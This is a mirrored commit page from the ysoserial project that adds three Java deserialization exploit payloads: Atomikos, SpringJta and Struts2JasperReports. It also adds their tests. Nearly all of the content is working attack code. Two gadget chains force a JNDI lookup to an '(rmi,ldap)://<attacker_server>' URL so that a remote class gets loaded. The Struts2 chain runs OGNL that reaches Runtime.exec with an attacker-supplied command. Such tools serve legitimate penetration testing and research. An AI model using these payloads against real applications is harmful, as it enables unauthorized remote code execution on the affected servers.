mirror of
https://github.com/frohoff/ysoserial.git
synced 2026-09-22 23:11:52 +08:00
New gadgets (Struts2JasperReports - Atomikos - SpringJta) (#123)
* added Atomikos gadget payload * added Atomikos gadget payload * naming * added spring-jta gadget * added strutsJasperReports gadget + tests * updated deps list on springJta * fixed authors * renaming
This commit is contained in:
Stefano Ciccone
@@ -0,0 +1,77 @@
|
||||
package ysoserial.payloads;
|
||||
|
||||
import javax.management.BadAttributeValueExpException;
|
||||
|
||||
import com.atomikos.icatch.jta.RemoteClientUserTransaction;
|
||||
|
||||
import ysoserial.payloads.annotation.Authors;
|
||||
import ysoserial.payloads.annotation.Dependencies;
|
||||
import ysoserial.payloads.annotation.PayloadTest;
|
||||
import ysoserial.payloads.util.PayloadRunner;
|
||||
import ysoserial.payloads.util.Reflections;
|
||||
|
||||
/**
|
||||
*
|
||||
* Gadget chain:
|
||||
*
|
||||
* javax/management/BadAttributeValueExpException.readObject()
|
||||
* com/atomikos/icatch/jta/RemoteClientUserTransaction.toString()
|
||||
* com/atomikos/icatch/jta/RemoteClientUserTransaction.checkSetup()
|
||||
* javax/naming/InitialContext.lookup()
|
||||
*
|
||||
*
|
||||
* Arguments:
|
||||
* - (rmi,ldap)://<attacker_server>[:<attacker_port>]/<classname>
|
||||
*
|
||||
*
|
||||
* @author pwntester
|
||||
* payload added by sciccone
|
||||
*
|
||||
* This gadget chain was also discovered by pwntester:
|
||||
* https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf
|
||||
*
|
||||
*/
|
||||
@PayloadTest(harness="ysoserial.test.payloads.JRMPReverseConnectTest")
|
||||
@Dependencies( { "com.atomikos:transactions-osgi:4.0.6", "javax.transaction:jta:1.1" } )
|
||||
@Authors({ Authors.PWNTESTER, Authors.SCICCONE })
|
||||
public class Atomikos implements ObjectPayload<Object> {
|
||||
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
|
||||
// validate command
|
||||
int sep = command.lastIndexOf('/');
|
||||
if ( sep < 0 || (!command.startsWith("ldap") && !command.startsWith("rmi")))
|
||||
throw new IllegalArgumentException("Command format is: " + command
|
||||
+ "(rmi,ldap)://<attacker_server>[:<attacker_port>]/<classname>");
|
||||
|
||||
String url = command.substring(0, sep);
|
||||
String className = command.substring(sep + 1);
|
||||
|
||||
// create factory based on url
|
||||
String initialContextFactory;
|
||||
if (url.startsWith("ldap"))
|
||||
initialContextFactory = "com.sun.jndi.ldap.LdapCtxFactory";
|
||||
else
|
||||
initialContextFactory = "com.sun.jndi.rmi.registry.RegistryContextFactory";
|
||||
|
||||
// create object
|
||||
RemoteClientUserTransaction rcut = new RemoteClientUserTransaction();
|
||||
|
||||
// set values using reflection
|
||||
Reflections.setFieldValue(rcut, "initialContextFactory", initialContextFactory);
|
||||
Reflections.setFieldValue(rcut, "providerUrl", url);
|
||||
Reflections.setFieldValue(rcut, "userTransactionServerLookupName", className);
|
||||
|
||||
// create exception
|
||||
BadAttributeValueExpException exception = new BadAttributeValueExpException(null);
|
||||
Reflections.setFieldValue(exception, "val", rcut);
|
||||
|
||||
return exception;
|
||||
}
|
||||
|
||||
|
||||
public static void main ( final String[] args ) throws Exception {
|
||||
PayloadRunner.run(Atomikos.class, args);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,74 @@
|
||||
package ysoserial.payloads;
|
||||
|
||||
import org.springframework.transaction.jta.JtaTransactionManager;
|
||||
|
||||
import ysoserial.payloads.annotation.Authors;
|
||||
import ysoserial.payloads.annotation.Dependencies;
|
||||
import ysoserial.payloads.annotation.PayloadTest;
|
||||
import ysoserial.payloads.util.PayloadRunner;
|
||||
|
||||
/**
|
||||
*
|
||||
* Gadget chain:
|
||||
*
|
||||
* org.springframework.transaction.jta.JtaTransactionManager.readObject()
|
||||
* org.springframework.transaction.jta.JtaTransactionManager.initUserTransactionAndTransactionManager()
|
||||
* org.springframework.transaction.jta.JtaTransactionManager.lookupUserTransaction()
|
||||
* org.springframework.jndi.JndiTemplate.lookup()
|
||||
* javax.naming.InitialContext.lookup()
|
||||
*
|
||||
*
|
||||
* Arguments:
|
||||
* - (rmi,ldap)://<attacker_server>[:<attacker_port>]/<classname>
|
||||
*
|
||||
*
|
||||
* @author zerothoughts
|
||||
* payload added by sciccone
|
||||
*
|
||||
* This gadget was discovered by zerothoughts:
|
||||
* https://github.com/zerothoughts/spring-jndi
|
||||
*
|
||||
*/
|
||||
@PayloadTest(harness="ysoserial.test.payloads.JRMPReverseConnectTest")
|
||||
@Dependencies( {
|
||||
"org.springframework:spring-tx:5.1.7.RELEASE",
|
||||
"org.springframework:spring-context:5.1.7.RELEASE",
|
||||
"javax.transaction:jta:1.1"
|
||||
} )
|
||||
@Authors({ Authors.ZEROTHOUGHTS, Authors.SCICCONE })
|
||||
public class SpringJta implements ObjectPayload<Object>, DynamicDependencies {
|
||||
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
|
||||
// validate command
|
||||
if ( !(command.startsWith("ldap://") || command.startsWith("rmi://")) )
|
||||
throw new IllegalArgumentException("Command format is: "
|
||||
+ "(rmi,ldap)://<attacker_server>[:<attacker_port>]/<classname>");
|
||||
|
||||
// create object
|
||||
JtaTransactionManager jta = new JtaTransactionManager();
|
||||
jta.setUserTransactionName(command);
|
||||
|
||||
return jta;
|
||||
}
|
||||
|
||||
|
||||
public static void main ( final String[] args ) throws Exception {
|
||||
PayloadRunner.run(SpringJta.class, args);
|
||||
}
|
||||
|
||||
|
||||
// add dependencies for testing
|
||||
public static String[] getDependencies () {
|
||||
return new String[] {
|
||||
"org.springframework:spring-tx:5.1.7.RELEASE",
|
||||
"org.springframework:spring-context:5.1.7.RELEASE",
|
||||
"org.springframework:spring-beans:5.1.7.RELEASE",
|
||||
"org.springframework:spring-core:5.1.7.RELEASE",
|
||||
"commons-logging:commons-logging:1.2",
|
||||
"javax.transaction:jta:1.1"
|
||||
};
|
||||
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,115 @@
|
||||
package ysoserial.payloads;
|
||||
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.util.HashMap;
|
||||
|
||||
import org.apache.struts2.views.jasperreports.ValueStackShadowMap;
|
||||
|
||||
import com.opensymphony.xwork2.ActionContext;
|
||||
import com.opensymphony.xwork2.TextProvider;
|
||||
import com.opensymphony.xwork2.config.Configuration;
|
||||
import com.opensymphony.xwork2.config.ConfigurationManager;
|
||||
import com.opensymphony.xwork2.config.providers.XWorkConfigurationProvider;
|
||||
import com.opensymphony.xwork2.conversion.impl.XWorkConverter;
|
||||
import com.opensymphony.xwork2.inject.Container;
|
||||
import com.opensymphony.xwork2.ognl.OgnlValueStack;
|
||||
import com.opensymphony.xwork2.ognl.accessor.CompoundRootAccessor;
|
||||
|
||||
import ysoserial.payloads.annotation.Authors;
|
||||
import ysoserial.payloads.annotation.Dependencies;
|
||||
import ysoserial.payloads.annotation.PayloadTest;
|
||||
import ysoserial.payloads.util.Gadgets;
|
||||
import ysoserial.payloads.util.PayloadRunner;
|
||||
|
||||
/**
|
||||
*
|
||||
* Gadget chain:
|
||||
*
|
||||
*
|
||||
* java/util/HashMap<K,V>.readObject(ObjectInputStream)
|
||||
* java/util/HashMap<K,V>.putVal(int, K, V, boolean, boolean)
|
||||
* org/apache/struts2/views/jasperreports/ValueStackShadowMap(AbstractMap<K,V>).equals(Object)
|
||||
* org/apache/struts2/views/jasperreports/ValueStackShadowMap.get(String)
|
||||
* com/opensymphony/xwork2/ognl/OgnlValueStack.findValue(String) //keyExpression
|
||||
*
|
||||
* Execution of embedded OGNL invoking template.newTrasformer (object put in the valueStack)
|
||||
*
|
||||
* TemplatesImpl.newTransformer()
|
||||
* TemplatesImpl.getTransletInstance()
|
||||
* TemplatesImpl.defineTransletClasses()
|
||||
* TemplatesImpl.TransletClassLoader.defineClass()
|
||||
* Pwner*(Javassist-generated).<static init>
|
||||
* Runtime.exec()
|
||||
*
|
||||
*
|
||||
* @author sciccone
|
||||
*
|
||||
*/
|
||||
@SuppressWarnings({ "unchecked" })
|
||||
@PayloadTest(harness="ysoserial.test.payloads.Struts2JasperReportsTest")
|
||||
@Dependencies( { "org.apache.struts:struts2-core:2.5.20", "org.apache.struts:struts2-jasperreports-plugin:2.5.20" } )
|
||||
@Authors({ Authors.SCICCONE })
|
||||
public class Struts2JasperReports implements ObjectPayload<Object>, DynamicDependencies {
|
||||
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
|
||||
// create required objects via reflection
|
||||
Constructor<XWorkConverter> c1 = XWorkConverter.class.getDeclaredConstructor();
|
||||
Constructor<OgnlValueStack> c2 = OgnlValueStack.class.getDeclaredConstructor(
|
||||
XWorkConverter.class, CompoundRootAccessor.class, TextProvider.class, boolean.class);
|
||||
c1.setAccessible(true);
|
||||
c2.setAccessible(true);
|
||||
XWorkConverter xworkConverter = c1.newInstance();
|
||||
OgnlValueStack ognlValueStack = c2.newInstance(xworkConverter,null,null,true);
|
||||
|
||||
// inject templateImpl with embedded command
|
||||
ognlValueStack.set("template", Gadgets.createTemplatesImpl(command));
|
||||
|
||||
// create shadowMaps
|
||||
ValueStackShadowMap shadowMap1 = new ValueStackShadowMap(ognlValueStack);
|
||||
ValueStackShadowMap shadowMap2 = new ValueStackShadowMap(ognlValueStack);
|
||||
|
||||
// execute OGNL "(template.newTransformer()) upon deserialisation
|
||||
String keyExpression = "(template.newTransformer())";
|
||||
shadowMap1.put(keyExpression, null);
|
||||
shadowMap2.put(keyExpression, null);
|
||||
|
||||
return Gadgets.makeMap(shadowMap1, shadowMap2);
|
||||
}
|
||||
|
||||
|
||||
public static void main ( final String[] args ) throws Exception {
|
||||
initializeThreadLocalMockContainerForTesting();
|
||||
PayloadRunner.run(Struts2JasperReports.class, args);
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* Create mock container and mock actionContext,
|
||||
* since a context is required for the payload being triggered upon deserialisation.
|
||||
* Simulates an Apache Struts2 app up and running.
|
||||
*/
|
||||
public static void initializeThreadLocalMockContainerForTesting() {
|
||||
ConfigurationManager configurationManager = new ConfigurationManager(Container.DEFAULT_NAME);
|
||||
configurationManager.addContainerProvider(new XWorkConfigurationProvider());
|
||||
Configuration config = configurationManager.getConfiguration();
|
||||
Container container = config.getContainer();
|
||||
|
||||
HashMap<String, Object> context = new HashMap<String, Object>();
|
||||
context.put(ActionContext.CONTAINER, container);
|
||||
ActionContext.setContext(new ActionContext(context));
|
||||
}
|
||||
|
||||
// add dependencies for testing a mock struts2 app
|
||||
public static String[] getDependencies () {
|
||||
return new String[] {
|
||||
"org.apache.struts:struts2-core:2.5.20",
|
||||
"org.apache.struts:struts2-jasperreports-plugin:2.5.20",
|
||||
"org.apache.logging.log4j:log4j-api:2.11.1",
|
||||
"ognl:ognl:3.1.21", "org.apache.commons:commons-lang3:3.8.1",
|
||||
"javassist:javassist:3.12.1.GA"
|
||||
};
|
||||
|
||||
}
|
||||
}
|
||||
@@ -23,6 +23,8 @@ public @interface Authors {
|
||||
String SCRISTALLI = "scristalli";
|
||||
String HANYRAX = "hanyrax";
|
||||
String EDOARDOVIGNATI = "EdoardoVignati";
|
||||
String SCICCONE = "sciccone";
|
||||
String ZEROTHOUGHTS = "zerothoughts";
|
||||
String NAVALORENZO = "navalorenzo";
|
||||
String JANG = "Jang";
|
||||
String ARTSPLOIT = "artsploit";
|
||||
|
||||
@@ -51,7 +51,7 @@ public class JRMPReverseConnectTest implements CustomTest {
|
||||
|
||||
|
||||
public String getPayloadArgs () {
|
||||
return "rmi:localhost:" + port;
|
||||
return "rmi://localhost:" + port + "/ExportObject";
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
@@ -0,0 +1,47 @@
|
||||
package ysoserial.test.payloads;
|
||||
|
||||
import java.util.HashMap;
|
||||
|
||||
import com.opensymphony.xwork2.ActionContext;
|
||||
import com.opensymphony.xwork2.config.Configuration;
|
||||
import com.opensymphony.xwork2.config.ConfigurationManager;
|
||||
import com.opensymphony.xwork2.config.providers.XWorkConfigurationProvider;
|
||||
import com.opensymphony.xwork2.inject.Container;
|
||||
|
||||
import ysoserial.Deserializer;
|
||||
import ysoserial.test.CustomDeserializer;
|
||||
|
||||
public class Struts2JasperReportsTest extends CommandExecTest implements CustomDeserializer {
|
||||
|
||||
@Override
|
||||
public Class<?> getCustomDeserializer() {
|
||||
return StrutsJasperReportsDeserializer.class;
|
||||
}
|
||||
|
||||
/**
|
||||
* need to use a custom deserializer so that the action context gets set in the isolated class
|
||||
*
|
||||
* @author sciccone
|
||||
*
|
||||
*/
|
||||
public static final class StrutsJasperReportsDeserializer extends Deserializer {
|
||||
|
||||
public StrutsJasperReportsDeserializer(byte[] bytes) {
|
||||
super(bytes);
|
||||
}
|
||||
|
||||
@Override
|
||||
public Object call () throws Exception {
|
||||
ConfigurationManager configurationManager = new ConfigurationManager(Container.DEFAULT_NAME);
|
||||
configurationManager.addContainerProvider(new XWorkConfigurationProvider());
|
||||
Configuration config = configurationManager.getConfiguration();
|
||||
Container container = config.getContainer();
|
||||
|
||||
HashMap<String, Object> context = new HashMap<String, Object>();
|
||||
context.put(ActionContext.CONTAINER, container);
|
||||
ActionContext.setContext(new ActionContext(context));
|
||||
return super.call();
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
Reference in New Issue
Block a user